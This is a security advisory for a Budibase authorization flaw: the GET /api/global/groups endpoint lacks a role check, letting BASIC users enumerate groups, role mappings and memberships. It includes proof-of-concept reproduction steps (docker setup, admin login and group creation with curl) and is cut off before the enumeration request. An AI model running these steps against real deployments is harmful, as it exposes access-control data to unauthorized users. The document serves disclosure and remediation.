Budibase is an open-source low-code platform. Prior to 3.39.25, the GET /api/global/groups endpoint in packages/worker/src/api/routes/global/groups.ts omitted auth.builderOrAdmin, allowing an authenticated BASIC role user to enumerate tenant groups, role mappings and user memberships, builder permissions, and default-group flags. The disclosure exposes the tenant access-control structure to users who are not builders or administrators. This issue is fixed in version 3.39.25.

Affected: npm: @budibase/server

## Summary

The `GET /api/global/groups` endpoint on the worker service has no role-based authorization middleware. Any authenticated user (including BASIC role) can enumerate all user groups in the tenant, including their role mappings, user memberships, builder permissions, and the isDefault flag.

## Steps to Reproduce

### 1. Start Budibase

```bash docker run -d --name budibase-poc -p 10000:80 \ -e MINIO_ACCESS_KEY=minio_access -e MINIO_SECRET_KEY=minio_secret \ -e INTERNAL_API_KEY=internal_api_key -e JWT_SECRET=jwt_secret_test \ -e API_ENCRYPTION_KEY=api_enc_key_test123456 \ -e BB_ADMIN_USER_EMAIL=admin@test.com \ -e BB_ADMIN_USER_PASSWORD=TestPassword123! \ budibase/budibase:latest

until curl -sf http://localhost:10000/health; do sleep 5; done ```

### 2. Login as admin, create a user group, create a BASIC user

```bash # Login as admin curl -s -c /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/auth/default/login \ -H "Content-Type: application/json" \ -d '{"username":"admin@test.com","password":"TestPassword123!"}'

# Create a user group (requires license with user groups feature, or use Budibase Cloud) # On self-hosted without license, groups may not be available # If available: curl -s -b /tmp/bb_admin.txt -X POST http://localhost:10000/api/global/groups \ -H "Content-Type: application/json" \ -d '{"name":"Secret Admin Group","color":"#ff0000","icon":"AdminPanelSettingsIcon","roles":{"app_abc123":"ADMIN"}}'

# Create a BASIC user (n…